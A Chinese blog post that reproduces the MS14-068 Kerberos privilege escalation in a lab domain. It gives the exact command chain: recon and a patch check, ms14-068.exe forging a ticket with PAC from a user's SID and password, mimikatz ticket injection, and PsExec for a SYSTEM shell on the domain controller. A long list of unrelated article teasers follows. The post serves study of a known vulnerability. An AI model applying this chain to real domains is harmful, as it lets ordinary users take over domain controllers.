阿文、...
阿文、...

MS14-068（域提权）漏洞复现

这里便用到了我们之前所讲到的 PAC 这个东西，PAC 是用来验证 Client 的访问权限的，它会被TGT 里发送给 Client，然后由 Client 发送给 TGS。但也恰恰是这个 PAC 造成了 MS14-068 这个漏洞。
该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心（KDC）服务中的 Windows 漏洞，它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限

该漏洞在windows server2012环境的域控中可能会发生报错

环境信息

windows server2008 R2（域控）：192.168.197.4
windows 7（成员机）：192.168.197.133

查看本地主机信息

使用域内主机域内普通用户登录

net config workstation

MS14-068（域提权）漏洞复现_第1张图片

查看域管主机信息
nltest /dsgetdc:

MS14-068（域提权）漏洞复现_第2张图片

查看本地是否打补丁
systeminfo |find "3011780"

返回空证明没打补丁
image.png

本地访问测试
dir \\WIN-S50F8HMOEBD.dc1.com\c$

image.png

查看用户信息
whoami -user

MS14-068（域提权）漏洞复现_第3张图片

使用ms14-068伪造票据：
ms14-068.exe -u [email protected] -p 123 -s S-1-5-21-3698873215-1888486255-1844816113-1107 -d WIN-S50F8HMOEBD.dc1.com

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址
MS14-068（域提权）漏洞复现_第4张图片
生成对应文件
MS14-068（域提权）漏洞复现_第5张图片

使用mimikatz来清除和写入凭证
kerberos::purge			//清除凭证
kerberos::ptc  票据地址

image.png
MS14-068（域提权）漏洞复现_第6张图片

再次链接后不会拒绝

dir \\WIN-S50F8HMOEBD.dc1.com\c$

MS14-068（域提权）漏洞复现_第7张图片

反弹shell
PsExec64.exe /accepteula /s \\WIN-S50F8HMOEBD.dc1.com cmd

系统权限
MS14-068（域提权）漏洞复现_第8张图片
域管IP
MS14-068（域提权）漏洞复现_第9张图片

当域控是windows server2012时

会有以下拦截，不知道是什么情况
MS14-068（域提权）漏洞复现_第10张图片

你可能感兴趣的:(漏洞复现,内网,运维,网络安全)

  • 一站式 IT 资产管理：零信任产品的多维对比 scuter_yu 安全网络
    在数字化转型的浪潮中，企业面临着日益复杂的网络安全挑战，零信任安全理念应运而生并逐渐成为保障企业信息安全的重要手段。腾讯iOA零信任产品、深信服零信任安全解决方案、奇安信零信任安全解决方案以及GoogleBeyondCorp零信任网络架构等产品在市场上各有千秋，尤其在一站式IT资产管理方面，它们展现了不同的特色与优势。以下是对每款产品在一站式IT资产管理方面的分点对比：腾讯iOA零信任产品细粒度统
  • 未来运维，绝绝AI 必备 AI_运维_攻城狮 ai运维人工智能
    在当今数字化时代，运维工作对于企业的稳定运行至关重要。随着科技的不断进步，人工智能（AI）和自动化技术正逐渐改变着运维行业的面貌。本文将分析运维行业的未来发展方向，探讨人工智能在运维中的应用前景、自动化运维的发展趋势，并对未来的运维工作模式和技能需求进行预测和分析，以帮助读者更好地规划自己的职业发展。一、运维行业现状目前，运维工作主要包括服务器管理、网络管理、数据库管理、应用程序监控等方面。运维工
  • 打造世赛级信息安全实训室：一站式建设方案大揭秘
    在当今数字化时代，信息安全已成为全球关注的焦点。随着信息技术的飞速发展，各类网络安全威胁日益复杂多样，对专业信息安全人才的需求也愈发迫切。世界职业院校技能大赛作为全球最高层级的职业技能赛事，其信息安全项目更是汇聚了各国顶尖的技能人才，展示着这一领域最前沿的技术与应用。打造一个达到世赛级别的信息安全实训室，无疑是培养高素质信息安全人才、提升国家网络安全防御能力的关键举措。以下将为您揭秘一站式建设世赛
  • 博睿数据出席GOPS全球运维大会，深度解析如何让大模型真正“懂”运维！ 运维
    2025年6月27日-28日，第二十六届GOPS全球运维大会暨研运数智化技术峰会在北京盛大启幕。全球近千位行业专家齐聚一堂，围绕大模型、DevOps、SRE、可观测性等核心议题展开深度探讨。本届峰会专设可观测性、金融行业、SRE稳定性等特色专场，聚焦IT技术领域的最新发展，共探企业级最佳实践。作为国内应用性能管理及可观测性领域的领导者，博睿数据受邀出席本次大会。产品总监贺安辉亮相“可观测性专场”，
  • 工业缺陷检测深度学习方法综述 2301_80355452 深度学习人工智能
    其被广泛地应用于无人质检、智能巡检、质量控制等各种生产与运维场景中.一.工业缺陷检测的背景与特点工业缺陷检测面临着诸多难点:缺陷样本匮乏、缺陷的可视性低、形状不规则、类型未知等,直接使用异常检测方法难以满足工业缺陷检测的任务需求.二.介绍工业缺陷检测问题的定义,分析研究难点与挑战异常：点异常、上下文异常和集群异常。点异常：又称为离群值(outliers)[9],描述数值上偏离正常样本的独立数据。与
  • 网络安全运维与攻防演练综合实训室解决方案 武汉唯众智创 web安全运维安全网络安全运维与攻防演练实训室网络安全运维攻防演练实训室网络安全运维与攻防演练
    一、前言在数字化浪潮席卷全球的当下，网络已深度融入社会的各个层面，成为推动经济发展、社会进步和科技创新的关键力量。从日常生活中的移动支付、社交互动，到企业运营中的数据管理、业务拓展，再到国家关键基础设施的运行，网络的身影无处不在。在日常生活中，我们频繁地在网络上进行各种活动，如网上购物、移动支付、社交互动等，这些活动都涉及到个人敏感信息的传输和存储。一旦这些信息被泄露，个人可能面临财产损失、身份被
  • Python程序设计 第6章：函数和函数式编程 若北辰 Python程序设计python开发语言
    Python程序设计Python是全球范围内最受欢迎的编程语言之一，学好Python将对个人职业生涯产生很大的助力，Python在机器学习、深度学习、数据挖掘等领域应用极为广泛。在数据科学家/数据分析师、人工智能工程师、网络安全工程师、软件工程师/全栈工程师、自动化测试工程师等岗位，年入50万，很普遍，学好Python，高薪就业不是问题，因此推出Python程序设计系列文章：Python程序设计第
  • python自动化运维 ZZH1120KQ 运维python自动化
    1系统性能信息模块psutilpsutl是一个跨平台库，能够轻松实现获取系统运行的进程和系统利用率(包括CPU、内存、磁盘、网络等)信息。它主要应用于系统监控，分析和限制系统资源及进程的管理。#这是一个外部模块，需要下载，通过指定源下载pip3installpsutil-ihttps://mirrors.aliyun.com/pypi/simple/importpsutil1.1内存信息memor
  • [特殊字符] Windows 查看端口占用及服务来源教程（以 9018 端口为例）
    下面是一份详细的Windows系统中排查某端口（如9018）被哪个程序占用并确定其具体服务来源的完整教程，适合用于日常运维、开发部署排障等场景。Windows查看端口占用及服务来源教程（以9018端口为例）✅一、查看端口被哪个进程（PID）占用在命令行中执行：netstat-ano|findstr:9018输出示例：TCP0.0.0.0:90180.0.0.0:0LISTENING16044TCP
  • Nginx 运维实战与 HTML 静态网页开发全攻略
    一、技术背景：静态站点的黄金时代1.静态网页的复兴浪潮性能优势：对比动态站点，静态资源响应速度提升60%+，首屏加载时间平均缩短1.2秒（基于WebPageTest实测数据）技术演进：Jamstack架构普及（2024年市场占有率达37%），Hugo、Nuxt.js等静态站点生成器（SSG）推动企业级应用典型场景：企业官网（占比78%）、产品着陆页（转化率提升23%）、博客系统（WordPress
  • Docker进阶命令与参数——AI教你学Docker LuckyLay AI教你学Dockerdockereureka容器
    2.1进阶命令与参数Docker在日常运维和开发中，除了常用的run、ps、logs等基础命令，还提供了一些功能强大、实用性很高的进阶命令。这些命令可用于容器信息洞察、变更管理、文件操作与资源动态调整等场景。一、dockerinspect作用深入查看容器、镜像、网络、卷等对象的详细元数据（JSON格式）。包含环境变量、挂载点、网络配置、进程信息、资源限制等丰富信息。用法dockerinspect常
  • DevOps 完整资料与面试突击图谱 @一叶之秋 Java架构师学习路线devops面试运维
    DevOps完整资料与面试突击图谱一、DevOps核心概念1.DevOps的目标与价值DevOps是开发（Development）与运维（Operations）之间的协作方法，旨在通过持续的集成与部署（CI/CD）来提高软件开发和运维的效率。目标：提高软件交付速度：通过自动化构建、测试、部署。提升系统稳定性：通过持续监控、日志追踪、自动化回滚等保障系统高可用。增强团队协作：开发、运维、测试、运维团
  • Kafka日常运维命令总结 我科绝伦（Huanhuan Zhou） kafka运维分布式
    一、集群管理前台启动Brokerbin/kafka-server-start.sh/server.properties关闭方式：Ctrl+C后台启动Brokerbin/kafka-server-start.sh-daemon/server.properties关闭Brokerbin/kafka-server-stop.sh二、Topic管理操作命令创建Topicbin/kafka-topics.s
  • 边缘计算与 CDN 融合技术实践教程 快快网络-三七 云计算优化边缘计算人工智能
    目录前言一、核心技术原理与架构设计1.1边缘计算与CDN协同架构1.2智能调度算法二、数据同步与一致性实现2.1边缘节点数据缓存机制2.2一致性哈希算法应用三、典型应用场景实践3.1实时视频直播优化3.2物联网数据处理四、部署与运维要点4.1容器化部署4.2监控与告警五、未来技术演进方向总结前言在互联网流量爆发式增长、低延迟应用场景不断涌现的背景下，边缘计算与CDN的融合已成为提升网络性能的核心技
  • [ vulhub漏洞复现篇 ] Drupal XSS漏洞 (CVE-2019-6341) 寒蝉听雨[原ID_PowerShell] [靶场实战]vulhubvulhub漏洞复现DrupalXSS漏洞CVE-2019-6341渗透测试网络安全
    博主介绍‍博主介绍：大家好，我是_PowerShell，很高兴认识大家~✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连）欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限，欢迎各位大佬指点，相互学习进步！文章目录博主介绍一、漏洞编号二、影响范围三、漏洞描述四、环境搭建1、进入CVE-2019-6341环境2、启动CVE-20
  • 高防CDN：网络安全的“盾牌”与加速利器 上海云盾-高防顾问 web安全网络安全
    在数字化时代，网络安全和访问速度是网站运营的两大核心挑战。尤其是面对日益频繁的DDoS攻击和全球用户对快速访问的需求，高防CDN（高防御内容分发网络）成为企业和开发者的重要选择。本文将用通俗易懂的方式，解析高防CDN的概念及其工作原理。什么是高防CDN？高防CDN是融合了CDN加速与DDoS防护能力的网络安全服务。它不仅通过全球分布的节点缓存内容，提升用户访问速度，还能识别并抵御大规模流量攻击（如
  • 揭秘网络安全：数字世界的隐形防线
    目录一、网络安全：数字时代的关键锁钥二、常见网络安全威胁大起底2.1网络诈骗：狡猾的数字陷阱2.2恶意软件：隐匿的数字刺客2.3数据泄露：隐私的无声暴露2.4网络钓鱼：伪装的数字猎手三、筑牢网络安全防线的策略3.1提升安全意识：思想上的防火墙3.2强化密码管理：账户的坚固盾牌3.3谨慎使用公共网络：公共场合的安全警惕3.4定期更新软件和系统：修复漏洞的及时补丁3.5开启防护工具：数字世界的安全卫士
  • 宝塔面板10.0新版本公测特色功能深度解析 淮橘√ 运维服务器
    引言宝塔面板（BTPanel）作为一款广受欢迎的服务器管理工具，以其简洁的界面和强大的功能深受运维人员和站长的喜爱。2025年，宝塔面板迎来了10.0版本的重大更新，带来了多项创新功能和性能优化，进一步提升了服务器管理的效率和安全性。一、宝塔面板10.0版本概览宝塔面板10.0是继9.x系列后的重大版本升级，官方于2025年初发布（具体日期以官网为准，参考宝塔官网及论坛）。新版本在界面设计、功能扩
  • 网络安全：构建数字世界的坚实防线
    文章目录网络安全：构建数字世界的坚实防线一、网络安全的重要性1.保护个人隐私2.维护商业利益3.保障国家安全4.防止经济犯罪5.确保业务连续性二、网络安全现状1.数据泄露频发2.隐私保护堪忧3.网络犯罪猖獗三、网络安全防范措施1.密码管理2.个人信息保护3.安全软件和更新4.网络访问控制5.数据备份和恢复6.培养安全意识四、未来展望1.技术创新2.法规完善3.国际合作4.社会共治网络安全：构建数字
  • 用户实体行为分析与数据异常访问联防方案 KKKlucifer 时序数据库
    一、用户实体行为分析（UEBA）技术概述1.1定义与概念用户实体行为分析（UEBA）是一种高级网络安全方法，它利用机器学习和行为分析技术，对用户、设备、应用程序等实体在网络环境中的行为进行深入分析，以检测出异常行为和潜在的安全威胁。UEBA的核心在于通过建立行为基线，识别出偏离正常行为模式的活动，从而发现那些传统安全工具难以检测到的高级、隐藏和内部威胁。1.2工作原理UEBA系统通过收集来自多个数
  • 2025年网络安全研究生选择哪个方向有前景？ ～小羊没烦恼～ 网络安全黑客技术黑客web安全安全开发语言网络学习
    写在前面网络空间安全专业越来越受到国家政策的支持；而滴滴APP泄露个人隐私等事件，也使得大众的安全意识和安全需求前所未有的提高。在这样的环境下，越来越多的同学想要攻读网络安全专业，那么问题来了，网安研究生哪个方向更具有前景呢？网安方向介绍BAOYAN首先我们一起来了解一下网络空间安全专业有哪些方向，以及每个方向所需要的基础能力。网安大体可分为5个子方向，分别为密码学与应用安全、量子信息安全、数据安
  • 全响应式物联网平台（JetLinks） deepdata_cn IOT物联网
    JetLinks是一个基于Java8、SpringBoot2.x、WebFlux、Netty等开发的物联网基础平台，可用于快速建立物联网相关业务系统。JetLinks定位为PaaS服务的物联网平台，旨在降低物联网企业研发、运营和运维成本，提高物联网项目的落地能力。支持私有化或容器化以单机、集群或微服务的方式部署在任意平台服务器上，可横向拓展。能支持千万级设备连接、百万级数据并发，通过自研React
  • KVM 虚拟化技术性能测试与调优 wespten OpenStackvSphere虚拟化云平台SDN服务器测试工具运维
    系统虚拟化有很多的好处，如提高物理资源利用率、让系统资源更方便监控和管理、提高系统运维的效率、节约硬件投入的成本等等。那么，在真正实施生产环境的虚拟化时，到底选择哪种虚拟化方案呢？选择商业软件VMwareESXi、开源的KVM和Xen，还是微软的Hyper-V，或者有其他的虚拟化方案？在进行虚拟化方案的选择时，需要重点考虑的因素中至少有两个至关重要：虚拟化方案的功能和性能，这二者缺一不可。功能是实
  • Java 程序员必备的 26 个 Linux 命令，常用 + 面试两手抓 库库林_沙琪马 Linuxlinux面试运维
    有人问我：日常开发中最常用的Linux命令有哪些？我不假思索地就列出了26个，涵盖开发、调试、运维场景，每一个都值得收藏+实战。内容速览26个高频Linux命令详解面试官常问的重点命令实操建议&学习指引一、开发者高频使用的26个Linux命令1️⃣cd-切换目录cd/usr/local/bincd..cd~Tips：~表示当前用户主目录，..表示上级目录。2️⃣mkdir-创建目录mkdirmyd
  • 腾讯 iOA 零信任产品：安全远程访问的革新者 scuter_yu 安全
    在当今数字化时代，企业面临着前所未有的挑战与机遇。随着远程办公、多分支运营以及云计算的广泛应用，传统的网络安全架构逐渐暴露出诸多不足。腾讯iOA零信任产品凭借其创新的安全理念和强大的功能特性，为企业提供了一种全新的解决方案，尤其在安全远程访问方面，展现出卓越的优势。一、零信任架构：重塑安全边界传统的网络安全架构依赖于固定的边界，一旦边界被突破，内部网络将面临巨大风险。而腾讯iOA零信任产品基于零信
  • 局域网打印机共享怎么设置？如何配置内网本地网络打印机给异地电脑远程连接使用打印？ 搬码临时工 电脑
    打印机共享怎么设置？如何设置本地内网的网络打印机共享给其他网络下电脑连接打印？打印机设置使用以及异地使用打印都是大家比较关注的问题，下面详细教程中分二步，先讲局域网内的打印机共享，再进一步介绍内网打印机地址通过nat123共享给外网异地打印使用的方法。一、局域网内打印机共享的设置详细步骤共享打印前请确认，共享者的电脑和使用者的电脑是在同一个局域网内，同时该局域网是畅通的,并且操作系统最好是相同的。
  • DM8 DSC共享集群搭建部署 LeeWen2020 达梦
    DMDSC共享集群属于达梦数据库集群架构产品之一，类似于OracleRAC架构。一、环境说明主机规划：IPAddrDBVersionOSVersion节点1192.168.15.11（外网）192.168.25.11（内网）DMV81-1-72-20.04.03-119959-ENTDSCVeriosn:V2.0中标麒麟6节点2192.168.15.12（外网）192.168.25.12（内网）D
  • 数字孪生：变电站监测和运维的智能化实践 数字孪生家族 数字孪生视频孪生数据可视化
    随着夏季高温天气的到来，我国用电也迎来了高峰。用电负荷持续走高，对全国各地电网运维也迎来了挑战。电力系统作为现代社会的基础设施，其稳定性和可靠性至关重要，变电站则是实现电力系统电力互联互通的枢纽。在传统变电站中，由于依赖人工巡检和定期维护，存在效率低下和响应迟缓等问题。大量的人力投入，同时也使违章操作、疏忽大意等众多人为操作失误隐患大大提升。近年来，我国在智慧电网建设方面取得了显著成果，其中最为典
  • 信创领域的十大网络安全威胁有哪些 极创信息 信创产品兼容性互认证国产化信创安全eclipsejavatomcathibernateopencv数据挖掘
    在信创（信息技术应用创新）领域，由于其涉及自主可控软硬件、核心技术与基础设施，网络安全威胁尤为突出，其网络安全威胁不仅涉及传统IT系统的共性问题，还因技术生态的独特性面临特殊挑战。结合信创环境的特点，以下是信创领域面临的十大主流网络安全威胁。一.人员安全意识不足真实的网络攻击可能并不需要多么高深的技术，更多的是针对人员的安全意识不足发起的攻击。在信创项目建设和运营过程中，涉及大量研发、实施、运维和
  • 网络安全等级保护（等保）全面指南 兢谨网安 企业安全web安全网络安全渗透测试网络安全网络攻击模型
    一、等保核心认知1.等保定义与法律地位定义：等保是国家对信息系统按重要性分级保护的基础制度，涵盖定级、备案、建设整改、测评、检查五个阶段。法律强制：《网络安全法》第21条明确要求网络运营者履行等保义务，违者最高罚款100万元（单位）及10万元（责任人）。2.甲方核心价值合规避险：金融、医疗、教育等行业监管明确要求等保资质（如支付系统需二级以上）。风险管控：通过年检式测评（三级每年1次）发现漏洞，避
  • linux系统服务器下jsp传参数乱码 3213213333332132 javajsplinuxwindowsxml
    在一次解决乱码问题中， 发现jsp在windows下用js原生的方法进行编码没有问题，但是到了linux下就有问题， escape,encodeURI,encodeURIComponent等都解决不了问题 但是我想了下既然原生的方法不行，我用el标签的方式对中文参数进行加密解密总该可以吧。于是用了java的java.net.URLDecoder,结果还是乱码，最后在绝望之际，用了下面的方法解决了
  • Spring 注解区别以及应用 BlueSkator spring
    1. @Autowired @Autowired是根据类型进行自动装配的。如果当Spring上下文中存在不止一个UserDao类型的bean，或者不存在UserDao类型的bean，会抛出 BeanCreationException异常，这时可以通过在该属性上再加一个@Qualifier注解来声明唯一的id解决问题。   2. @Qualifier 当spring中存在至少一个匹
  • printf和sprintf的应用 dcj3sjt126com PHPsprintfprintf
    <?php printf('b: %b <br>c: %c <br>d: %d <bf>f: %f', 80,80, 80, 80); echo '<br />'; printf('%0.2f <br>%+d <br>%0.2f <br>', 8, 8, 1235.456); printf('th
  • config.getInitParameter 171815164 parameter
    web.xml <servlet> <servlet-name>servlet1</servlet-name> <jsp-file>/index.jsp</jsp-file> <init-param> <param-name>str</param-name>
  • Ant标签详解--基础操作 g21121 ant
            Ant的一些核心概念：         build.xml：构建文件是以XML 文件来描述的，默认构建文件名为build.xml。        project：每个构建文
  • [简单]代码片段_数据合并 53873039oycg 代码
            合并规则:删除家长phone为空的记录,若一个家长对应多个孩子,保留一条家长记录,家长id修改为phone,对应关系也要修改。         代码如下:        
  • java 通信技术 云端月影 Java 远程通信技术
    在分布式服务框架中，一个最基础的问题就是远程服务是怎么通讯的，在Java领域中有很多可实现远程通讯的技术，例如：RMI、MINA、ESB、Burlap、Hessian、SOAP、EJB和JMS等，这些名词之间到底是些什么关系呢，它们背后到底是基于什么原理实现的呢，了解这些是实现分布式服务框架的基础知识，而如果在性能上有高的要求的话，那深入了解这些技术背后的机制就是必须的了，在这篇blog中我们将来
  • string与StringBuilder 性能差距到底有多大 aijuans
              之前也看过一些对string与StringBuilder的性能分析，总感觉这个应该对整体性能不会产生多大的影响，所以就一直没有关注这块！         由于学程序初期最先接触的string拼接，所以就一直没改变过自己的习惯！        
  • 今天碰到 java.util.ConcurrentModificationException 异常 antonyup_2006 java多线程工作IBM
    今天改bug，其中有个实现是要对map进行循环，然后有删除操作，代码如下： Iterator<ListItem> iter = ItemMap.keySet.iterator(); while(iter.hasNext()){ ListItem it = iter.next(); //...一些逻辑操作 ItemMap.remove(it); } 结果运行报Con
  • PL/SQL的类型和JDBC操作数据库 百合不是茶 PL/SQL表标量类型游标PL/SQL记录
    PL/SQL的标量类型:    字符,数字,时间,布尔,%type五中类型的 --标量：数据库中预定义类型的变量 --定义一个变长字符串 v_ename varchar2(10); --定义一个小数,范围 -9999.99~9999.99 v_sal number(6,2); --定义一个小数并给一个初始值为5.4 :=是pl/sql的赋值号
  • Mockito：一个强大的用于 Java 开发的模拟测试框架实例 bijian1013 mockito单元测试
    Mockito框架：         Mockito是一个基于MIT协议的开源java测试框架。         Mockito区别于其他模拟框架的地方主要是允许开发者在没有建立“预期”时验证被测系统的行为。对于mock对象的一个评价是测试系统的测
  • 精通Oracle10编程SQL(10)处理例外 bijian1013 oracle数据库plsql
    /* *处理例外 */ --例外简介 --处理例外-传递例外 declare v_ename emp.ename%TYPE; begin SELECT ename INTO v_ename FROM emp where empno=&no; dbms_output.put_line('雇员名：'||v_ename); exceptio
  • 【Java】Java执行远程机器上Linux命令 bit1129 linux命令
    Java使用ethz通过ssh2执行远程机器Linux上命令，   封装定义Linux机器的环境信息   package com.tom; import java.io.File; public class Env { private String hostaddr; //Linux机器的IP地址 private Integer po
  • java通信之Socket通信基础 白糖_ javasocket网络协议
    正处于网络环境下的两个程序，它们之间通过一个交互的连接来实现数据通信。每一个连接的通信端叫做一个Socket。一个完整的Socket通信程序应该包含以下几个步骤： ①创建Socket； ②打开连接到Socket的输入输出流； ④按照一定的协议对Socket进行读写操作； ④关闭Socket。   Socket通信分两部分：服务器端和客户端。服务器端必须优先启动，然后等待soc
  • angular.bind boyitech AngularJSangular.bindAngularJS APIbind
    angular.bind 描述：         上下文，函数以及参数动态绑定，返回值为绑定之后的函数. 其中args是可选的动态参数，self在fn中使用this调用。 使用方法：          angular.bind(se
  • java-13个坏人和13个好人站成一圈，数到7就从圈里面踢出一个来，要求把所有坏人都给踢出来，所有好人都留在圈里。请找出初始时坏人站的位置。 bylijinnan java
    import java.util.ArrayList; import java.util.List; public class KickOutBadGuys { /** * 题目：13个坏人和13个好人站成一圈，数到7就从圈里面踢出一个来，要求把所有坏人都给踢出来，所有好人都留在圈里。请找出初始时坏人站的位置。 * Maybe you can find out
  • Redis.conf配置文件及相关项说明（自查备用） Kai_Ge redis
       Redis.conf配置文件及相关项说明 # Redis configuration file example # Note on units: when memory size is needed, it is possible to specifiy # it in the usual form of 1k 5GB 4M and so forth: #
  • [强人工智能]实现大规模拓扑分析是实现强人工智能的前奏 comsci 人工智能
         真不好意思,各位朋友...博客再次更新...      节点数量太少,网络的分析和处理能力肯定不足,在面对机器人控制的需求方面,显得力不从心....      但是,节点数太多,对拓扑数据处理的要求又很高,设计目标也很高,实现起来难度颇大...
  • 记录一些常用的函数 dai_lm java
    public static String convertInputStreamToString(InputStream is) { StringBuilder result = new StringBuilder(); if (is != null) try { InputStreamReader inputReader = new InputStreamRead
  • Hadoop中小规模集群的并行计算缺陷 datamachine mapreducehadoop并行计算
    注：写这篇文章的初衷是因为Hadoop炒得有点太热，很多用户现有数据规模并不适用于Hadoop，但迫于扩容压力和去IOE（Hadoop的廉价扩展的确非常有吸引力）而尝试。尝试永远是件正确的事儿，但有时候不用太突进，可以调优或调需求，发挥现有系统的最大效用为上策。 -----------------------------------------------------------------
  • 小学4年级英语单词背诵第二课 dcj3sjt126com englishword
    egg  蛋 twenty 二十 any 任何 well 健康的，好   twelve 十二 farm 农场 every 每一个 back 向后，回   fast 快速的 whose 谁的 much 许多 flower 花   watch 手表 very 非常，很 sport 运动 Chinese 中国的  
  • 自己实践了github的webhooks, linux上面的权限需要注意 dcj3sjt126com githubwebhook
    环境, 阿里云服务器   1. 本地创建项目, push到github服务器上面   2. 生成www用户的密钥 sudo -u www ssh-keygen -t rsa -C "[email protected]"     3. 将密钥添加到github帐号的SSH_KEYS里面   3. 用www用户执行克隆, 源使
  • Java冒泡排序 蕃薯耀 冒泡排序Java冒泡排序Java排序
    冒泡排序 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 蕃薯耀 2015年6月23日 10:40:14 星期二 http://fanshuyao.iteye.com/
  • Excle读取数据转换为实体List【基于apache-poi】 hanqunfeng apache
    1.依赖apache-poi   2.支持xls和xlsx   3.支持按属性名称绑定数据值   4.支持从指定行、列开始读取   5.支持同时读取多个sheet   6.具体使用方式参见org.cpframework.utils.excelreader.CP_ExcelReaderUtilTest.java 比如： Str
  • 3个处于草稿阶段的Javascript API介绍 jackyrong JavaScript
    原文： http://www.sitepoint.com/3-new-javascript-apis-may-want-follow/?utm_source=html5weekly&utm_medium=email   本文中，介绍3个仍然处于草稿阶段，但应该值得关注的Javascript API. 1) Web Alarm API   &
  • 6个创建Web应用程序的高效PHP框架 lampcy Web框架PHP
    以下是创建Web应用程序的PHP框架，有coder bay网站整理推荐： 1. CakePHP CakePHP是一个PHP快速开发框架，它提供了一个用于开发、维护和部署应用程序的可扩展体系。CakePHP使用了众所周知的设计模式，如MVC和ORM，降低了开发成本，并减少了开发人员写代码的工作量。 2. CodeIgniter CodeIgniter是一个非常小且功能强大的PHP框架，适合需
  • 评"救市后中国股市新乱象泛起"谣言 nannan408
    首先来看百度百家一位易姓作者的新闻： 三个多星期来股市持续暴跌，跌得投资者及上市公司都处于极度的恐慌和焦虑中，都要寻找自保及规避风险的方式。面对股市之危机，政府突然进入市场救市，希望以此来重建市场信心，以此来扭转股市持续暴跌的预期。而政府进入市场后，由于市场运作方式发生了巨大变化，投资者及上市公司为了自保及为了应对这种变化，中国股市新的乱象也自然产生。 首先，中国股市这两天
  • 页面全屏遮罩的实现 方式 Rainbow702 htmlcss遮罩mask
    之前做了一个页面，在点击了某个按钮之后，要求页面出现一个全屏遮罩，一开始使用了position:absolute来实现的。当时因为画面大小是固定的，不可以resize的，所以，没有发现问题。 最近用了同样的做法做了一个遮罩，但是画面是可以进行resize的，所以就发现了一个问题，当画面被reisze到浏览器出现了滚动条的时候，就发现，用absolute 的做法是有问题的。后来改成fixed定位就
  • 关于angularjs的点滴 tntxia AngularJS
      angular是一个新兴的JS框架，和以往的框架不同的事，Angularjs更注重于js的建模，管理，同时也提供大量的组件帮助用户组建商业化程序，是一种值得研究的JS框架。   Angularjs使我们可以使用MVC的模式来写JS。Angularjs现在由谷歌来维护。   这里我们来简单的探讨一下它的应用。   首先使用Angularjs我
  • Nutz--->>反复新建ioc容器的后果 xiaoxiao1992428 DAOmvcIOCnutz
    问题： public class DaoZ {     public static Dao dao() { // 每当需要使用dao的时候就取一次     Ioc ioc = new NutIoc(new JsonLoader("dao.js"));     return ioc.get(
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他